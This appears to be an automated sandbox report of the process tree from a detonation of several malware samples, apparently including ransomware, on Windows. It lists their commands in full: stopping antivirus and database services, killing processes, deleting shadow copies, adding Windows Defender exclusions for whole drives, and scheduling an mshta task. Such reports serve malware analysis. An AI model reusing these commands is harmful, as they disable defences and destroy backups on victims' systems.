C:\Windows\SysWOW64\net.exenet stop "msftesql$PROD" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "msftesql$PROD" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "NetMsmqActivator" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "NetMsmqActivator" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "EhttpSrv" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EhttpSrv" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ekrn" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ekrn" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ESHASRV" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ESHASRV" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SOPHOS" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SOPHOS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SOPHOS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SOPHOS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "AVP" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "AVP" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "klnagent" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "klnagent" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SQLEXPRESS" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SQLEXPRESS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SQLEXPRESS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SQLEXPRESS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "wbengine" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "wbengine" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "kavfsslp" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "kavfsslp" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "KAVFSGT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "KAVFSGT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "KAVFS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "KAVFS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "mfefire" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "mfefire" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM zoolz.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM agntsvc.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM dbeng50.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM dbsnmp.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM encsvc.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM excel.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM firefoxconfig.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM infopath.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM isqlplussvc.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM msaccess.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM msftesql.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mspub.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mydesktopqos.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mydesktopservice.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mysqld.exe /T3⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mysqld-nt.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mysqld-opt.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM ocautoupds.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM ocomm.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM ocssd.exe /T3⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM onenote.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM oracle.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM outlook.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM powerpnt.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqbcoreservice.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlagent.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlbrowser.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlservr.exe /T3⤵
- Kills process with taskkill
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlwriter.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM steam.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM synctime.exe /T3⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM tbirdconfig.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM thebat.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM thebat64.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM thunderbird.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM visio.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM winword.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM wordpad.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM xfssvccon.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM tmlisten.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM PccNTMon.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM CNTAoSMgr.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Ntrtscan.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mbamtray.exe /T3⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping localhost -n 3 > nul & del C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 34⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3460 -s 48283⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe"C:\Users\Admin\AppData\Local\Temp\3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin.exe delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet3⤵
-
C:\Windows\system32\vssadmin.exevssadmin.exe delete shadows /all /quiet4⤵
- Loads dropped DLL
- Interacts with shadow copies
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe"C:\Users\Admin\AppData\Local\Temp\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Checks system information in the registry
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\RANSOMNOTE.txt3⤵
- Opens file in notepad (likely ransom note)
-
-
-
C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Globalization\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Defender Advanced Threat Protection\ja-JP\SppExtComObj.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\conhost.exe'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\UdMnd98CoM.bat"3⤵
-
C:\Windows\system32\chcp.comchcp 650014⤵
-
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:24⤵
-
-
C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"4⤵
- Checks computer location settings
- Loads dropped DLL
- Modifies registry class
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Adobe\Acrobat Reader DC\powershell.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Internet Explorer\images\remoteadmin.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\conhost.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ja-JP\conhost.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Defender\ja-JP\dwm.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\pq4gyt7faS.bat"5⤵
-
C:\Windows\system32\chcp.comchcp 650016⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost6⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\ja-JP\conhost.exe"C:\Windows\ja-JP\conhost.exe"6⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe"C:\Users\Admin\AppData\Local\Temp\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"3⤵
- Adds Run key to start application
-
-
-
C:\Users\Admin\AppData\Local\Temp\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe"C:\Users\Admin\AppData\Local\Temp\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe"C:\Users\Admin\AppData\Local\Temp\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\Program Files\Google\Chrome\Application'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe"C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe"3⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe"C:\Users\Admin\AppData\Local\Temp\60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe"2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe"C:\Users\Admin\AppData\Local\Temp\65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe"2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe"C:\Users\Admin\AppData\Local\Temp\77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe"2⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122883⤵
-
-
C:\ProgramData\59B3.tmp"C:\ProgramData\59B3.tmp"3⤵
- Checks computer location settings
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\59B3.tmp >> NUL4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe"C:\Users\Admin\AppData\Local\Temp\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Drops desktop.ini file(s)
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies Control Panel
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c C:\Windows\System32\wbem\WMIC.exe shadowcopy where "ID='{0F3B482A-C87B-4EC6-84C4-8FC91A21EF63}'" delete3⤵
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe shadowcopy where "ID='{0F3B482A-C87B-4EC6-84C4-8FC91A21EF63}'" delete4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe"C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 5803⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 6123⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 8963⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 9163⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 9323⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 10443⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 12203⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 12443⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 7523⤵
- Program crash
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://katt.gdn/lp/thanks.php3⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 9963⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 8443⤵
- Program crash
-
-
C:\Users\Admin\AppData\Roaming\Adobe\Update.exe"C:\Users\Admin\AppData\Roaming\Adobe\Update.exe" "C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe"3⤵
- Drops startup file
- Unexpected DNS network traffic destination
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3396 -s 5804⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3396 -s 5884⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3396 -s 5924⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3396 -s 6004⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3396 -s 5964⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3396 -s 7204⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3396 -s 7204⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3396 -s 7644⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3396 -s 7284⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3396 -s 8724⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3396 -s 8964⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 11283⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe"C:\Users\Admin\AppData\Local\Temp\188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn zvUCsmaYFIL /tr "mshta C:\Users\Admin\AppData\Local\Temp\lI5pqOUhK.hta" /sc minute /mo 25 /ru "Admin" /f3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn zvUCsmaYFIL /tr "mshta C:\Users\Admin\AppData\Local\Temp\lI5pqOUhK.hta" /sc minute /mo 25 /ru "Admin" /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\mshta.exemshta C:\Users\Admin\AppData\Local\Temp\lI5pqOUhK.hta3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
